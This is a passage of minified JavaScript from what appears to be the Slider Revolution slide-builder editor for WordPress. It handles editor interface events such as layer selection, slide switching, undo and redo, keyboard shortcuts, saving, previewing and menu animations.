QuickStyle(),RVS.F.updateInputBoxes(),RVS.F.initOnOff(),RVS.F.switchButtonInit(),jQuery("#undoredowrap").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}),tpGS.gsap.set("#adminmenumain, #wpadminbar",{opacity:0}),window.onbeforeunload=function(t){if(RVS.F.showWaitAMinute({fadeIn:500,text:e?RVS_LANG.redirectingtooverview:RVS_LANG.leavingpage}),RVS.S.need_to_save){e=!1,RVS.F.showWaitAMinute({fadeOut:500});var t=t||window.event;return t&&(t.returnValue=RVS_LANG.leaving),RVS_LANG.leaving}},RVS.DOC.on("enablePXModule",function(e,t){void 0!==t&&("slideparallax"===t&&!0!==RVS.SLIDER.settings.parallax.set&&"-"!==RVS.SLIDER[RVS.S.slideId].slide.effects.parallax||"object"==typeof t&&"-"!==RVS.L[t.layerid].effects.parallax&&!0!==RVS.SLIDER.settings.parallax.set)&&(RVS.SLIDER.settings.parallax.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.parallaxsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}),RVS.DOC.on("enableScrollEffectModule",function(e,t){void 0!==t&&("object"!=typeof t&&("fade"===t||"blur"===t||"grayscale"===t)&&!0!==RVS.SLIDER.settings.parallax.set&&"true"==RVS.SLIDER[RVS.S.slideId].slide.effects[t]||"object"==typeof t&&null==t.layerid&&void 0!==t.val&&"true"==t.val&&!0!==RVS.SLIDER.settings.scrolleffects.set||"object"==typeof t&&void 0!==t.layerid&&"true"==RVS.L[t.layerid].effects.effect&&!0!==RVS.SLIDER.settings.scrolleffects.set)&&(RVS.SLIDER.settings.scrolleffects.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.feffectscrollsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}),RVS.DOC.on("enableScrollModule",function(e,t){void 0!==t&&void 0!==t.layerid&&("true"==RVS.L[t.layerid].timeline.scrollBased&&!0!==RVS.SLIDER.settings.scrolltimeline.set&&(RVS.SLIDER.settings.scrolltimeline.set=!0,RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_effects_scroll"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.timelinescrollsettoenabled,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})),!0===RVS.SLIDER.settings.scrolltimeline.set&&("true"==RVS.L[t.layerid].timeline.scrollBased||"default"==RVS.L[t.layerid].timeline.scrollBased&&!0===RVS.SLIDER.settings.scrolltimeline.layers)&&(RVS.L[t.layerid].timeline.loop.use=!1,RVS.F.updateEasyInputs({container:jQuery("#layer_looping_wrap"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.layerloopdisabledduetimeline,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})))}),RVS.DOC.on("click",".action_collection_wrap",function(){jQuery(this).toggleClass("showmore")}),RVS.DOC.on("click","#rb_editor_logo",function(){clearTimeout(t),jQuery(".rs-builder-mode.hideallwp").addClass("showwpmenus"),tpGS.gsap.to("#adminmenumain",.5,{opacity:1})}),RVS.DOC.on("mouseenter","#adminmenumain, #wpadminbar",function(){clearTimeout(t),jQuery(".rs-builder-mode.hideallwp").addClass("showwpmenus"),tpGS.gsap.to("#adminmenumain",.5,{opacity:1})}),RVS.DOC.on("mouseleave","#adminmenumain, #wpadminbar",function(){t=setTimeout(function(){tpGS.gsap.to("#adminmenumain, #wpadminbar",.1,{opacity:0,onComplete:function(){jQuery(".rs-builder-mode.hideallwp").removeClass("showwpmenus")}})},200)}),RVS.DOC.on("mouseleave",".action_collection_wrap",function(){jQuery(this).removeClass("showmore")}),RVS.DOC.on("mouseover",".aable",function(e){jQuery(".aable.hovered").removeClass("hovered");var t=jQuery(e.toElement);t.hasClass("aable")?t.addClass("aable").addClass("hovered"):t.closest(".aable").addClass("hovered")}),RVS.DOC.on("mouseleave",".aable",function(e){var t=jQuery(this);t.hasClass("aable")?t.removeClass("hovered"):t.closest(".aable").removeClass("hovered")}),RVS.DOC.on("click",".markable",function(){if(!RVS.S.justresized)return function(e){if(void 0===e||"object"!=typeof e||void 0===e.element&&void 0===e.jelement&&void 0===e.id)return!1;void 0!==e.id&&(e.jelement=jQuery("#"+e.id)),void 0===e.element&&(e.element=e.jelement[0]),void 0===e.jelement&&(e.jelement=jQuery(e.element)),void 0===e.id&&(e.id=e.element.id),void 0!==e.jelement&&(function(e){var t=[];for(var i in RVS.S.selElements)RVS.S.selElements[i].id===e?t.push(RVS.S.selElements[i]):RVS.S.selElements[i].jobj.removeClass("marked");RVS.S.selElements=t,RVS.DOC.trigger("cursorselection"),RVS.F.selectLayers({ignoreModeChange:!0,overwrite:!0})}(e.element.id),RVS.S.selElements=[],RVS.S.selElements.push({jobj:e.jelement,multiplemark:e.element.dataset.multiplemark,forms:e.jelement.data("forms"),id:e.element.id}),e.jelement.addClass("marked"))}({id:this.id}),RVS.F.openSettings({forms:jQuery(this).data("forms"),uncollapse:this.dataset.collapse}),!1}),RVS.DOC.on("click",".slide_list_element, .slide_list_child_element",function(){if(""+this.dataset.ref!==RVS.S.slideId){RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.preparingNextSlide});var e=this.dataset.ref;return setTimeout(function(){var t=RVS.SLIDER[RVS.S.slideId].slide.static.isstatic;RVS.S.lastShownSlideId=RVS.S.slideId;var i=(" "+RVS.C.vW.className).indexOf(" mode__slidestyle")>=0;RVS.F.mainMode({mode:"slidelayout",slide:e}),i?(RVS.DOC.trigger("changeToSlideMode"),!RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&t&&(jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.showForms("#form_slidebg",!0)),RVS.F.updateSlideInputFields()):(RVS.DOC.trigger("changeToLayerMode"),RVS.F.updateLayerInputFields()),RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.preparingNextSlide})},10),!1}}),RVS.DOC.on("click",".callEventButton",function(){void 0!==this.dataset.evt&&RVS.DOC.trigger(this.dataset.evt,this.dataset.evtparam)}),RVS.DOC.on("click","#back_to_overview",function(){RVS.F.setCookie("rs6_shortly_edited_slider",RVS.ENV.sliderID,17e-5),e=!0,RVS.S.need_to_save||RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.redirectingtooverview}),RVS.F.backToOverview()}),RVS.DOC.on("click","#undo, #undo_redo_wrap",function(){RVS.F.undo({step:1})}),RVS.DOC.on("click","#redo",function(){RVS.F.redo({step:1})}),RVS.DOC.on("click",".undoredostep",function(){"redolist"===this.parentElement.id?RVS.F.redo({step:parseInt(jQuery(this).index(),0)+1}):RVS.F.undo({step:jQuery("#undolist li").length-jQuery(this).index()-1})}),RVS.DOC.on("click","#noactiondone_undo",function(){RVS.F.undo({step:jQuery("#undolist li").length})}),RVS.DOC.on("keydown",function(e){if(("none"===RVS.S.inFocus||void 0===RVS.S.inFocus)&&("MacOS"===RVS.S.OSName&&e.metaKey&&!e.ctrlKey||e.ctrlKey))switch(e.keyCode){case 83:return e.preventDefault(),RVS.DOC.trigger("saveslider"),!1;case 90:return RVS.F.undo({step:1}),!1;case 89:return RVS.F.redo({step:1}),!1}}),RVS.DOC.on("click",".close_and_accept",function(){var e=jQuery(this.closest(".form_collector"));e.hide(),void 0!==this.dataset.evt&&RVS.DOC.trigger(this.dataset.evt,this.dataset.evtparam)}),RVS.DOC.on("mouseover",".callhoverevt",function(e){void 0!==this.dataset.hoverevt&&RVS.DOC.trigger(this.dataset.hoverevt,this.dataset.hoverevtparam)}),RVS.DOC.on("mouseleave",".callhoverevt",function(e){void 0!==this.dataset.leaveevt&&RVS.DOC.trigger(this.dataset.leaveevt,this.dataset.leaveevtparam)}),RVS.DOC.on("mouseover","#ruler_top, #ruler_left",function(e){return RVS.S.builderHover="overruler",!1}),RVS.DOC.on("mouseover","#timeline_settings",function(e){return RVS.S.builderHover="overtimeline",!1}),RVS.DOC.on("mouseover","#rev_builder_inner",function(e){return RVS.S.builderHover="overbuilder",!1}),RVS.DOC.on("mouseleave","#rev_builder_wrapper",function(e){return RVS.S.builderHover=!1,RVS.F.setRulerMarkers(),!1}),RVS.DOC.on("mouseleave","#the_right_toolbar_inner",function(e){return RVS.S.builderHover=!1,RVS.F.setRulerMarkers(),!1}),tpGS.gsap.set("#optimizeslider",{display:"none",autoAlpha:0,y:50}),RVS.DOC.on("mouseenter","#save_slider, #optimizeslider",function(e){clearTimeout(RVS.S.mouseOverSaveOpt),tpGS.gsap.to("#optimizeslider",.3,{display:"block",autoAlpha:1,y:0,ease:"power3.inOut"})}),RVS.DOC.on("mouseleave","#save_slider, #optimizeslider",function(e){RVS.S.mouseOverSaveOpt=setTimeout(function(){tpGS.gsap.to("#optimizeslider",.3,{display:"none",autoAlpha:0,y:50,ease:"power3.inOut"})},10)}),RVS.DOC.on("click","#save_slider",function(){RVS.DOC.trigger("saveslider")}),RVS.DOC.on("click","#optimizeslider",function(e){RVS.F.openOptimizer()}),RVS.DOC.on("click","#preview_slider",function(){RVS.F.openPreivew({title:RVS.SLIDER.settings.title,alias:RVS.SLIDER.settings.alias,id:RVS.SLIDER.id,mode:this.dataset.mode})}),RVS.DOC.on("saveslider",function(e,t){RVS.F.convertIDStoTxt(),RVS.F.convertArrayToObjects(),RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,trigger:RVS.F.saveSliderSettings,works:RVS.SLIDER.inWork,force:void 0!==t&&void 0!==t.force&&t.force})}),tpGS.gsap.fromTo("#builderView",.001,{x:"100%"},{x:"0%",ease:"power3.inOut"}),setTimeout(function(){RVS.F.mainMode({mode:"slidelayout",ignoreUpdateFields:!0,forms:["*slidelayout*"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),RVS.F.mainMode({mode:"sliderlayout",forms:["*sliderlayout*#form_module_title"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),jQuery("body.rs-builder-mode").addClass("hideallwp"),jQuery("#ui_preset_toggle").on("click",function(){var e=jQuery(this);e.hasClass("windowmode")?(e.removeClass("windowmode"),RVS.F.fixTools()):(e.addClass("windowmode"),RVS.F.releaseDarkTools())}),function(){if("MacOS"===RVS.F.os()){var e,t=document.querySelectorAll(".shortcut_cmdctrl"),i=document.querySelectorAll(".shortcuttext");for(e in t)t.hasOwnProperty(e)&&(t[e].textContent="⌘");for(e in i)t.hasOwnProperty(e)&&i[e].classList.add("osx")}}(),RVS.DOC.trigger("checkOnScrollSettings"),RVS.DOC.trigger("builderInitialised")},1)}}();